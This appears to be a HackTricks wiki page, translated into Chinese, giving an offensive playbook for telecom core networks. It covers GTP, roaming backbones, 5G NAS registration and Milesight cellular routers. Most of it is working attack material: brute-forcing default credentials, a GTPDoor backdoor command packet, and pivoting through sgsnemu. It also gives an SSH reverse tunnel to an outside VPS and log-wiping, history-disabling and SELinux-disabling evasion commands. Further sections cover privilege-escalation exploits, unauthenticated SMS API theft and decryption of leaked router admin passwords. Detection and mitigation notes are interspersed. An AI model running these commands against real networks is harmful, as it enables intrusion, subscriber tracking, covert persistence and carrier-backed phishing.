电信网络利用 (GTP / 漫游环境)

Reading time: 17 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

note

移动核心协议 (GPRS Tunnelling Protocol – GTP) 经常穿越半受信任的 GRX/IPX 漫游骨干网。由于它们通过明文 UDP 传输且几乎没有认证,在电信防护边界内的任何立足点通常都可以直接访问核心信令平面。以下笔记汇总了在野外观察到针对 SGSN/GGSN、PGW/SGW 和其他 EPC 节点的攻击技巧。

1. Recon & Initial Access

1.1 默认 OSS / NE 账户

许多厂商的 network elements 出厂时带有硬编码的 SSH/Telnet 用户,例如 root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … 专用 wordlist 会大幅提高暴力破解成功率:

bash
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

如果设备仅暴露管理 VRF,先通过 jump host 进行 pivot(见下面 «SGSN Emu Tunnel» 一节)。

1.2 GRX/IPX 内部主机发现

大多数 GRX 运营商仍然允许骨干网内的 ICMP echo。将 masscan 与内置的 gtpv1 UDP 探针结合使用,以快速映射 GTP-C 监听器:

bash
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. 枚举订阅者 – cordscan

下面的 Go 工具构造 GTP-C Create PDP Context Request 数据包并记录响应。每个回复揭示当前为被查询 IMSI 提供服务的 SGSN / MME,有时还会包含订阅者访问过的 PLMN。

bash
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

关键标志:

  • --imsi 目标订户 IMSI
  • --oper 归属 / HNI(MCC+MNC)
  • -w 将原始数据包写入 pcap

二进制中的重要常量可以被修补以扩大扫描范围:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. GTP 上的代码执行 – GTPDoor

GTPDoor 是一个小型 ELF 服务,绑定 UDP 2123 并解析每一个传入的 GTP-C 数据包。当负载以预共享标签开头时,剩余部分会被解密(AES-128-CBC)并通过 /bin/sh -c 执行。stdout/stderr 被封装在 Echo Response 消息中外传,因此不会创建任何外向会话。

最小 PoC 数据包 (Python):

python
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

检测:

  • 任何主机向 SGSN IPs 发送 unbalanced Echo Requests
  • GTP version flag 设置为 1,而 message type = 1 (Echo) — 偏离规范

4. Pivoting:穿越核心网络

4.1 sgsnemu + SOCKS5

OsmoGGSN 包含一个 SGSN 模拟器,能够与真实 GGSN/PGW 建立 PDP context。一旦协商完成,Linux 会收到一个新的 tun0 接口,该接口可由漫游对等端访问。

bash
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

通过正确的 firewall hair-pinning,这个隧道可以绕过 signalling-only VLANs,直接到达 data plane

4.2 SSH Reverse Tunnel over Port 53

在漫游基础设施中,DNS 几乎总是开放的。将内部 SSH 服务暴露到你的 VPS(监听 :53),然后回到家再连接:

bash
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

检查 GatewayPorts yes 是否在 VPS 上已启用。

5. 隐蔽通道

通道传输解码说明
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)纯被动监听,无外发流量
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octets监听 *.nodep 子域名
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IE与合法的 GTP-C 流量混合

所有 implants 都实现了看门狗,会 timestomp 它们的 binaries,并在崩溃后重新启动。

6. Defense Evasion Cheatsheet

bash
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Legacy NE 上的 Privilege Escalation

bash
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

清理提示:

bash
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. 工具箱

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – custom tooling described in previous sections.
  • FScan : 内网 TCP sweeps (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : 轻量级 SOCKS5 pivoting
  • FRP (≥0.37) : NAT traversal / asset bridging

9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay

5G 注册过程在 NGAP 之上通过 NAS (Non-Access Stratum) 运行。在通过 Security Mode Command/Complete 激活 NAS 安全之前,初始消息既不经过认证也不加密。这个安全前窗口使得在你能够观察或篡改 N2 流量(例如:位于核心网内的 on-path、rogue gNB 或测试床)时出现多种攻击路径成为可能。

Registration flow (simplified):

  • Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
  • Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
  • Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
  • PDU Session Establishment: IP/QoS setup.

Lab setup tips (non-RF):

  • Core: Open5GS default deployment is sufficient to reproduce flows.
  • UE: simulator or test UE; decode using Wireshark.
  • Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
  • Useful display filters in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 标识符隐私:SUCI failures exposing SUPI/IMSI

预期:UE/USIM 必须发送 SUCI(使用归属网络公钥加密的 SUPI)。在 Registration Request 中发现明文 SUPI/IMSI 表明存在隐私缺陷,可导致持续的用户跟踪。

如何测试:

  • 捕获 InitialUEMessage 中的首个 NAS 消息并检查 Mobile Identity IE。
  • Wireshark 快速检查:
  • 它应被解码为 SUCI,而非 IMSI。
  • 过滤示例:nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci 应存在;若不存在且出现 imsi 则表明泄露。

需要收集:

  • 如果暴露,收集 MCC/MNC/MSIN;按每个 UE 记录并跨时间/位置跟踪。

缓解措施:

  • 强制仅允许使用 SUCI 的 UEs/USIMs;对初始 NAS 中出现的任意 IMSI/SUPI 发出警报。

9.2 能力降级到空算法(EEA0/EIA0)

背景:

  • UE 在 Registration Request 的 UE Security Capability IE 中通告其支持的 EEA(加密)和 EIA(完整性)。
  • 常见映射:EEA1/EIA1 = SNOW3G,EEA2/EIA2 = AES,EEA3/EIA3 = ZUC;EEA0/EIA0 为空算法。

问题:

  • 由于 Registration Request 未受完整性保护,on-path 攻击者可以清除能力位,从而在随后 Security Mode Command 中强制选择 EEA0/EIA0。某些实现错误地在紧急服务外允许空算法。

攻击步骤:

  • 拦截 InitialUEMessage 并修改 NAS UE Security Capability,使其仅通告 EEA0/EIA0。
  • 使用 Sni5Gect 钩取 NAS 消息并在转发前修补能力位。
  • 观察 AMF 是否接受空密码/完整性并以 EEA0/EIA0 完成 Security Mode。

验证/可视性:

  • 在 Wireshark 中,确认 Security Mode Command/Complete 之后选择的算法。
  • Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

缓解措施(必须):

  • 配置 AMF/policy 拒绝 EEA0/EIA0,除非在严格要求的情况下(例如紧急呼叫)。
  • 优先至少强制使用 EEA2/EIA2;对任何协商为 null algorithms 的 NAS 安全上下文进行记录并触发报警。

9.3 初始 Registration Request 的重放(安全建立前的 NAS)

由于初始 NAS 缺乏完整性和新鲜性,捕获的 InitialUEMessage+Registration Request 可以被重放到 AMF。

用于 5GReplay 将匹配的重放转发的 PoC 规则:

xml
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

需要观察的内容:

  • AMF 是否接受重放并继续到 Authentication;缺乏新鲜性/上下文验证表明存在暴露。

缓解措施:

  • 在 AMF 强制实施重放防护/上下文绑定;对每个 GNB/UE 进行速率限制和关联。

9.4 工具提示(可复现)

  • Open5GS:启动一个 AMF/SMF/UPF 来模拟核心;观察 N2 (NGAP) 和 NAS。
  • Wireshark:验证 NGAP/NAS 的解码;应用上面的过滤器以隔离注册(Registration)。
  • 5GReplay:捕获一次注册,然后按规则重放特定的 NGAP + NAS 消息。
  • Sni5Gect:实时嗅探/修改/注入 NAS 控制面,以强制使用 null 算法或扰乱认证序列。

9.5 防御检查清单

  • 持续检查注册请求(Registration Request)中是否有明文 SUPI/IMSI;阻止违规设备/USIMs。
  • 拒绝 EEA0/EIA0,除非用于范围严格限定的紧急程序;至少要求 EEA2/EIA2。
  • 检测流氓或配置错误的基础设施:未授权的 gNB/AMF、意外的 N2 对端。
  • 对导致 null 算法或频繁重放 InitialUEMessage 的 NAS 安全模式发出告警。

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

滥用工业蜂窝路由器暴露的 web API,可实现大规模隐蔽的运营商来源 smishing。Milesight UR 系列路由器在 /cgi 暴露了一个 JSON-RPC 风格的端点。当配置错误时,该 API 可以在无需认证的情况下被查询以列出 SMS 收件箱/发件箱,并且在某些部署中可用于发送 SMS。

典型的未认证请求(收件箱/发件箱结构相同):

http
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
json
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

响应包含字段,例如 timestampcontentphone_number (E.164) 和 statussuccessfailed)。对同一号码重复出现 failed 的发送通常是攻击者的 "capability checks",用于在大规模轰炸前验证路由器/SIM 能否成功投递。

示例 curl 用于 exfiltrate SMS metadata:

bash
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Notes on auth artifacts:

  • 某些流量可能包含 auth cookie,但当管理接口面向 Internet 时,大部分暴露设备在访问 query_inbox/query_outbox 时无需任何认证即可响应。
  • 在需要 auth 的环境中,previously-leaked credentials(见下文)可恢复访问。

Credential recovery path – CVE-2023-43261:

  • 受影响的系列:UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7)。
  • 问题:web-served logs(例如 httpd.log)在 /lang/log/ 下可在未经过任何认证(unauthenticated)的情况下访问,并包含 admin 登录事件,密码使用嵌入在 client-side JavaScript 中的硬编码 AES key/IV 加密。
  • 实际访问与解密:
bash
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

最简 Python 脚本,用于解密 leaked 密码(AES-128-CBC,硬编码 key/IV):

python
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

网络狩猎与检测思路(network):

  • 对未经认证的 POST /cgi 发出告警——其 JSON 主体包含 base/function 并设置为 query_inboxquery_outbox
  • 追踪来自同一源 IP 的重复 POST /cgi 突发请求,随后在多个不同号码中出现 status":"failed" 条目(capability testing)。
  • 清点对外暴露的 Milesight 路由器;将管理限制到 VPN;除非必要否则禁用 SMS 功能;升级到 ≥ v35.3.0.7;轮换凭据并审查 SMS 日志以查找未知发送。

Shodan/OSINT pivots(野外观察到的示例):

  • http.html:"rt_title" 匹配 Milesight 路由器面板。
  • 用于发现暴露日志的 Google dorking:"/lang/log/system" ext:log.

操作影响:在路由器中使用合法的 carrier SIM 会显著提高 SMS 的送达率和可信度,从而更利于 phishing;而 inbox/outbox 暴露 leaks sensitive metadata at scale。


Detection Ideas

  1. Any device other than an SGSN/GGSN establishing Create PDP Context Requests
  2. Non-standard ports (53, 80, 443) receiving SSH handshakes 来自内部 IPs。
  3. Frequent Echo Requests without corresponding Echo Responses – 可能指示 GTPDoor beacons。
  4. High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields
  5. 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints(重放信号)。
  6. 5G: NAS Security Mode negotiating EEA0/EIA0 在非紧急情境下。

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks